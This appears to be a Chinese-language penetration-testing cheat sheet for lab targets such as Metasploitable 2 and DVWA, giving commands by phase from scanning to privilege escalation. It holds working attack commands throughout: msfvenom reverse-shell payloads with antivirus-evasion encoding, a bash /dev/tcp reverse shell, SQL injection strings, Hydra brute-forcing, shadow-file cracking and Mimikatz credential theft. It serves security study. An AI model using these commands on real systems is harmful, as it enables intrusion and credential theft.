- 时间:2025-12-03 21:59 作者: 来源: 阅读:3
- 扫一扫,手机访问
摘要:按「渗透测试流程」分类,包含工具功能、核心命令、参数解释、靶机场景,每个命令都标注了适用场景和原理,方便复习时理解记忆:
一、信息搜集阶段(基础中的基础)
1. Nmap(端口 / 服务 / 漏洞扫描)
功能类型核心命令参数解释靶机场景示例全端口扫描
nmap -sV -O -p- --min-rate 1000 192.168.1.4
-sV:探测服务版本;
-O:OS 识别;
按「渗透测试流程」分类,包含工具功能、核心命令、参数解释、靶机场景,每个命令都标注了适用场景和原理,方便复习时理解记忆:
一、信息搜集阶段(基础中的基础)
1. Nmap(端口 / 服务 / 漏洞扫描)
| 功能类型 | 核心命令 | 参数解释 | 靶机场景示例 |
|---|
| 全端口扫描 |
nmap -sV -O -p- --min-rate 1000 192.168.1.4 |
-sV:探测服务版本;
-O:OS 识别;
-p-:扫描所有 65535 端口;
--min-rate:最小发包速率 | 扫描 Metasploitable 2 所有开放端口 |
| 快速 TCP 扫描(隐蔽) |
nmap -sS -T4 192.168.1.4 |
-sS:SYN 半开放扫描(不建立完整连接,隐蔽);
-T4:快速扫描模式 | 避免触发靶机防护,快速探测开放端口 |
| 脚本漏洞扫描 |
nmap --script ssh-auth-methods -p 22 192.168.1.4 |
--script:加载指定脚本;
ssh-auth-methods:探测 SSH 认证方式 | 确认靶机 SSH 是否支持密码登录 |
| Web 漏洞扫描 |
nmap --script http-vuln-cve2021-41773 -p 80 192.168.1.4 |
http-vuln-cve2021-41773:检测 Apache 路径穿越漏洞 | 测试靶机 Apache 服务是否有该漏洞 |
| 保存扫描结果 |
nmap -sV -oN nmap_result.txt 192.168.1.4 |
-oN:保存为纯文本格式,方便后续分析 | 记录扫描结果,写入渗透报告 |
2. Gobuster(Web 目录 / 文件爆破)
| 功能类型 | 核心命令 | 参数解释 | 靶机场景示例 |
|---|
| 目录爆破(中等字典) |
gobuster dir -u http://192.168.1.4 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 10 |
-dir:目录爆破模式;
-w:指定字典;
-t:线程数(10 线程平衡速度和稳定性) | 爆破 DVWA 靶机隐藏目录(如
/admin) |
| 文件爆破(指定后缀) |
gobuster dir -u http://192.168.1.4 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -v |
-x:指定文件后缀;
-v:显示详细过程 | 查找靶机
/config.php、
/robots.txt |
| 子域名爆破 |
gobuster vhost -u http://192.168.1.4 -w /usr/share/wordlists/dirb/common.txt |
-vhost:虚拟主机(子域名)爆破模式 | 发现靶机隐藏子域名(如
test.192.168.1.4) |
3. SearchSploit(本地漏洞库查询)
| 功能类型 | 核心命令 | 参数解释 | 靶机场景示例 |
|---|
| 按软件名搜索 |
searchsploit UnrealIRCd 3.2.8.1 | 直接输入软件名 + 版本,查询对应的漏洞 EXP | 查找 Metasploitable 2 的 UnrealIRCd 漏洞 |
| 按 CVE 编号搜索 |
searchsploit CVE-2010-2075 | 输入 CVE 编号,精准匹配漏洞 | 查找对应 CVE 的利用脚本 |
| 复制 EXP 到本地 |
searchsploit -m 16922 |
-m:将漏洞脚本(编号 16922)复制到当前目录 | 提取 EXP 后手动修改利用 |
| 查看 EXP 路径 |
searchsploit -p 16922 |
-p:显示 EXP 的完整路径 | 直接调用路径中的脚本 |
二、Web 安全审计阶段(Web 靶机专用)
1. Burp Suite 社区版(抓包 / 篡改 / 爆破)
| 功能模块 | 核心操作步骤 | 关键设置 | 靶机场景示例 |
|---|
| 基础抓包配置 | 1. 启动 Burp,默认代理
127.0.0.1:8080;2. 浏览器设置代理(Firefox:设置→网络设置→手动代理配置);3. 开启 Intercept(拦截开关) | 确保浏览器与 Burp 代理端口一致,关闭浏览器代理扩展冲突 | 抓取 DVWA 登录页的 POST 请求 |
| 请求篡改测试 | 1. 拦截请求后,点击 “Action”→“Send to Repeater”;2. 在 Repeater 模块修改参数(如 SQL 注入:
id=1' or 1=1#);3. 点击 “Go” 发送请求,查看响应 | 重点修改
GET/POST参数、Cookie、请求头 | 测试 DVWA 的 SQL 注入漏洞 |
| 表单暴力破解 | 1. 拦截登录请求,发送到 Intruder;2. 标记用户名(^USER^)和密码(^PASS^);3. 加载用户列表(
-L users.txt)和密码字典(
-P rockyou.txt);4. 点击 “Start attack” | 选择 “Cluster Bomb” 攻击模式(用户名 + 密码组合),线程设为 10 | 爆破 DVWA 的 admin 账号密码 |
| 被动扫描 | 1. 开启 “Passive Scan”(被动扫描开关);2. 浏览器访问靶机所有页面;3. 查看 “Dashboard”→“Issues” 标签 | 被动扫描不发送额外请求,避免触发防护 | 发现靶机的 XSS、敏感信息泄露漏洞 |
2. OWASP ZAP(开源 Web 扫描器)
| 功能类型 | 核心操作步骤 | 关键设置 | 靶机场景示例 |
|---|
| 自动漏洞扫描 | 1. 启动 ZAP,点击 “Quick Start”→“Attack”;2. 输入靶机 URL(
http://192.168.1.4/dvwa);3. 点击 “Attack”,等待扫描完成;4. 查看 “Alerts” 标签的漏洞报告 | 扫描前可配置 “Context”(扫描范围),避免扫描无关网站 | 扫描 OWASP Juice Shop 的 SQL 注入、XSS 漏洞 |
| 爬虫爬取目录 | 1. 点击 “Spider”→“New Spider”;2. 输入靶机 URL,点击 “Start”;3. 查看 “Site” 标签的爬取结果 | 勾选 “Process forms”(处理表单),可爬取需要登录的页面 | 发现靶机未公开的
/backup目录 |
| 手动测试 SQL 注入 | 1. 点击 “Requester”→“New Request”;2. 输入请求 URL(
http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1);3. 修改
id参数为
1' or 1=1--,发送请求 | 查看响应是否返回所有数据,判断是否存在注入 | 测试靶机的 SQL 注入漏洞 |
3. Nikto(Web 服务器漏洞扫描)
| 功能类型 | 核心命令 | 参数解释 | 靶机场景示例 |
|---|
| 基础扫描 |
nikto -h http://192.168.1.4 |
-h:指定目标 URL/IP | 检测靶机 Apache 服务器的漏洞 |
| 扫描指定端口 |
nikto -h http://192.168.1.4:8080 | 若 Web 服务不在 80 端口,需指定端口 | 扫描靶机 8080 端口的 Tomcat 服务 |
| 输出扫描报告 |
nikto -h http://192.168.1.4 -o nikto_report.html -F html |
-o:输出文件;
-F:指定格式(html/txt/csv) | 生成 HTML 格式报告,方便后续查看 |
| 忽略 SSL 证书错误 |
nikto -h https://192.168.1.4 -no404 -ssl |
-no404:不显示 404 页面;
-ssl:强制使用 SSL(HTTPS) | 扫描靶机的 HTTPS 服务,忽略自签名证书错误 |
三、漏洞利用阶段(获取初始权限)
1. Metasploit Framework(MSF)
| 操作步骤 | 核心命令 | 参数解释 | 靶机场景示例 |
|---|
| 启动与搜索模块 |
msfconsole
search unreal_ircd_3281_backdoor | 启动 MSF 控制台;搜索指定漏洞模块 | 查找 UnrealIRCd 后门模块 |
| 加载模块 |
use exploit/unix/irc/unreal_ircd_3281_backdoor |
use:加载模块(路径从搜索结果获取) | 加载 UnrealIRCd 漏洞利用模块 |
| 查看配置参数 |
show options | 显示模块需要配置的参数(如 RHOSTS、RPORT) | 确认需要设置的靶机 IP、端口等 |
| 配置参数 |
set RHOSTS 192.168.1.4
set RPORT 6667
set LHOST 192.168.1.3 |
RHOSTS:靶机 IP;
RPORT:靶机服务端口;
LHOST:Kali 本地 IP(反弹连接用) | 配置 UnrealIRCd 漏洞的攻击参数 |
| 执行利用 |
run 或
exploit | 启动攻击,获取靶机 Shell | 利用 UnrealIRCd 后门获取靶机 irc 用户权限 |
| 后台会话管理 |
background(会话后台)
sessions -l(查看所有会话)
sessions -i 1(切换到会话 1) | 管理多个靶机会话,方便同时操作多个目标 | 同时控制多个靶机,切换会话操作 |
2. Msfvenom(Payload 生成)
| 靶机系统 | 核心命令 | 参数解释 | 用途 |
|---|
| Linux(ELF 可执行文件) |
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f elf -o shell.elf -e x86/shikata_ga_nai |
-p:指定 Payload;
-e:编码(避免被杀软检测);
-f:输出格式;
-o:输出文件 | 生成 Linux 反向 Meterpreter,上传靶机执行 |
| Windows(EXE 文件) |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f exe -o shell.exe -i 3 |
-i:编码次数(3 次,增强免杀) | 生成 Windows 反向 Meterpreter,诱靶机执行 |
| Web(PHP 脚本) |
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -f raw -o shell.php |
-f raw:原始格式(PHP 脚本无需编译) | 上传到靶机 Web 目录,通过浏览器访问触发 |
| 反弹 Shell(Bash) |
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.3 LPORT=4444 -f raw -o shell.sh | 生成 Bash 反向 Shell,无需依赖其他组件 | 靶机无 Python/Perl 时使用 |
3. 手动漏洞利用(EXP 执行)
| 功能类型 | 核心命令 | 操作步骤 | 靶机场景示例 |
|---|
| 执行 Python EXP |
python 16922.py 192.168.1.4 6667 | 1. 用 SearchSploit 复制 EXP 到本地;2. 查看 EXP 代码,确认参数(靶机 IP、端口);3. 执行脚本 | 利用 UnrealIRCd 漏洞手动获取 Shell |
| nc 反弹 Shell | 靶机执行:
bash -i >& /dev/tcp/192.168.1.3/4444 0>&1 | 1. Kali 监听端口:
nc -lvp 4444;2. 靶机执行反弹命令;3. Kali 接收 Shell | 靶机有 Bash 环境时,快速获取 Shell |
四、密码破解阶段(弱口令 / 哈希破解)
1. Hydra(网络服务爆破)
| 服务类型 | 核心命令 | 参数解释 | 靶机场景示例 |
|---|
| SSH 爆破 |
hydra -L /tmp/users.txt -P /usr/share/wordlists/rockyou.txt -t 8 -vV -o ssh_brute.txt 192.168.1.4 ssh |
-L:用户列表文件;
-P:密码字典;
-t:线程;
-vV:详细输出;
-o:保存结果 | 爆破 Metasploitable 2 的 SSH 账号(msfadmin) |
| FTP 爆破 |
hydra -l admin -P /usr/share/wordlists/top1000.txt -t 5 192.168.1.4 ftp |
-l:单个用户名(小写 L);
-P:密码字典 | 爆破靶机 FTP 服务的 admin 账号 |
| HTTP 表单爆破(POST) |
hydra -L users.txt -P pass.txt -t 10 -vV 192.168.1.4 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:S=Location" |
http-post-form:POST 表单模式;
S=Location:成功标志(跳转 Location) | 爆破 DVWA 登录页 |
| MySQL 爆破 |
hydra -L users.txt -P pass.txt -t 5 192.168.1.4 mysql | 直接指定服务类型为 mysql | 爆破靶机 MySQL 数据库账号 |
2. John the Ripper(哈希破解)
| 哈希类型 | 核心命令 | 操作步骤 | 靶机场景示例 | |
|---|
| Linux Shadow 哈希 |
unshadow /etc/passwd /etc/shadow > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt | 1. 合并 passwd 和 shadow 文件;2. 用字典破解;3. 查看破解结果 | 破解靶机用户哈希,获取明文密码 | |
| MD5 哈希破解 | `echo -n "admin123" | md5sum > md5.hash
<br>john --format=raw-md5 --wordlist=/usr/share/wordlists/top1000.txt md5.hash` |
-format=raw-md5:指定哈希格式为 MD5 | 破解已知的 MD5 哈希值 |
| Windows NTLM 哈希 |
john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt ntlm.hash |
-format=nt:指定哈希格式为 NTLM | 破解 Windows 靶机的 SAM 文件哈希 | |
3. Hashcat(高速哈希破解)
| 哈希类型 | 核心命令 | 参数解释 | 靶机场景示例 |
|---|
| MD5 破解(GPU 加速) |
hashcat -m 0 -a 0 md5.hash /usr/share/wordlists/rockyou.txt -o hashcat_result.txt |
-m 0:MD5 哈希类型;
-a 0:字典攻击模式;
-o:保存结果 | 高速破解 MD5 哈希(比 John 快) |
| NTLM 破解 |
hashcat -m 1000 ntlm.hash /usr/share/wordlists/rockyou.txt --force |
-m 1000:NTLM 哈希类型;
--force:强制执行(忽略警告) | 破解 Windows 靶机的 NTLM 哈希 |
| 掩码攻击(生日破解) |
hashcat -m 0 md5.hash -a 3 ?d?d?d?d?d?d |
-a 3:掩码攻击;
?d:数字(0-9);6 个
?d表示破解 6 位数字密码 | 破解靶机的 6 位数字弱口令 |
五、后渗透 / 权限提升阶段(提权至 root)
1. LinPEAS(Linux 提权信息搜集)
| 功能类型 | 核心命令 | 操作步骤 | 靶机场景示例 |
|---|
| 下载与执行 | Kali:
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh上传靶机:
scp linpeas.sh 靶机IP:/tmp靶机:
chmod +x linpeas.sh && ./linpeas.sh | 1. Kali 下载脚本;2. 上传到靶机 /tmp 目录;3. 赋予执行权限并运行 | 自动检测 Metasploitable 2 的 SUID 提权点 |
| 查看提权建议 | 脚本执行后,查看输出中的 “RED FLAGS”(红色标记) | 重点关注 SUID 文件、sudo 权限、内核漏洞提示 | 发现
/usr/bin/find可 SUID 提权 |
2. Linux 手动提权命令
| 提权类型 | 核心命令 | 原理 | 靶机场景示例 |
|---|
| SUID 提权(find) |
find / -perm -4000 2>/dev/null(查找 SUID 文件)
find /tmp -exec /bin/sh ; | SUID 文件可临时获取 root 权限,find 的
-exec参数可执行系统命令 | 利用靶机的 find SUID 提权至 root |
| sudo 权限提权 |
sudo -l(查看可执行的 sudo 命令)
sudo bash(直接切换 root) | 若用户在 sudoers 文件中无需密码即可执行所有命令,直接 sudo 切换 root | 靶机 msfadmin 用户可 sudo 免密提权 |
| 内核漏洞提权 |
uname -r(查看内核版本)SearchSploit 查找对应内核 EXP 并执行 | 老旧内核存在漏洞(如 Dirty COW),利用 EXP 获取 root 权限 | 靶机内核版本为 2.6.32,用 Dirty COW 提权 |
3. Mimikatz(Windows 凭据窃取)
| 功能类型 | 核心命令(Meterpreter 会话中) | 操作步骤 | 靶机场景示例 |
|---|
| 加载 Mimikatz |
load mimikatz | 在 Windows Meterpreter 会话中加载 Mimikatz 模块 | 准备窃取 Windows 靶机凭据 |
| 窃取登录密码 |
sekurlsa::logonpasswords | 读取内存中的登录密码(明文 / 哈希) | 获取 Windows 管理员明文密码 |
| 列出 Kerberos 票据 |
kerberos::list | 查看当前用户的 Kerberos 票据 | 利用票据进行横向移动 |
| 导出 SAM 文件 |
hashdump(Meterpreter 内置命令) | 导出 Windows 的 SAM 文件(用户哈希) | 破解 SAM 文件中的用户哈希 |
六、流量分析阶段(监控与排查)
1. Wireshark(图形化流量分析)
| 功能类型 | 核心操作 | 过滤器命令 | 靶机场景示例 |
|---|
| 捕获指定网卡流量 | 1. 启动 Wireshark;2. 选择虚拟机网卡(如 VMnet8);3. 点击 “开始抓包”(Ctrl+E) | 无(抓包前选择网卡即可) | 捕获 Kali 与靶机的 SSH 通信流量 |
| 筛选靶机 IP 流量 | 在 “Display Filter” 框输入:
ip.addr == 192.168.1.4 | 显示所有源 / 目的 IP 为靶机的数据包 | 只关注 Kali 与靶机的通信 |
| 筛选 SSH 流量 |
tcp.port == 22 或
ssh | 只显示 SSH 协议(22 端口)的数据包 | 分析 SSH 登录过程的数据包 |
| 筛选 HTTP 流量 |
http 或
http.request.method == GET |
http.request.method == GET:只显示 HTTP GET 请求 | 查看靶机的 Web 访问记录 |
| 追踪 TCP 流 | 右键选中某 TCP 数据包→“追踪流”→“TCP 流” | 查看该 TCP 会话的完整文本内容 | 分析靶机与 Kali 的反弹 Shell 通信内容 |
2. Tcpdump(命令行流量捕获)
| 功能类型 | 核心命令 | 参数解释 | 靶机场景示例 | |
|---|
| 捕获靶机所有流量 |
tcpdump host 192.168.1.4 -w traffic.pcap |
-w:保存流量到 pcap 文件,后续用 Wireshark 分析 | 捕获靶机的所有网络通信 | |
| 捕获 SSH 流量 |
tcpdump port 22 and host 192.168.1.4 -v |
-v:显示详细信息;只捕获 22 端口 + 靶机 IP 的流量 | 监控 SSH 登录流量 | |
| 实时查看 HTTP 流量 |
tcpdump port 80 and host 192.168.1.4 -A |
-A:以 ASCII 格式显示数据包内容 | 实时查看靶机的 Web 请求 / 响应 | |
| 读取 pcap 文件 | `tcpdump -r traffic.pcap | grep "password"` |
-r:读取保存的 pcap 文件;
grep筛选关键词 | 查找流量中的密码明文 |
七、关键补充:Kali 常用基础命令(辅助操作)
| 功能类型 | 核心命令 | 用途 |
|---|
| 查看本地 IP |
ifconfig 或
ip addr | 获取 Kali 的 LHOST(反弹连接用) |
| 生成用户列表 |
echo -e "root
admin
msfadmin" > users.txt | 为 Hydra 爆破准备用户列表 |
| 解压字典 |
gunzip /usr/share/wordlists/rockyou.txt.gz | 解压 Kali 自带的 rockyou 字典 |
| 文件上传到靶机 |
scp shell.elf 靶机IP:/tmp | 将 Payload 上传到靶机 /tmp 目录 |
| 从靶机下载文件 |
scp 靶机IP:/etc/passwd /tmp | 下载靶机的 passwd 文件到 Kali 本地 |
| 监听端口(nc) |
nc -lvp 4444 | 接收靶机的反弹 Shell |
这份速查表覆盖了靶机学习的全流程,每个命令都标注了「参数解释」和「靶机场景」,复习时可以:
按渗透流程(信息搜集→Web 审计→漏洞利用→提权)逐类记忆;结合 Metasploitable 2 靶机实操,把命令 “跑一遍” 加深印象;重点关注参数的含义(如
-L和
-l的区别),避免混淆。
最新发布的资讯信息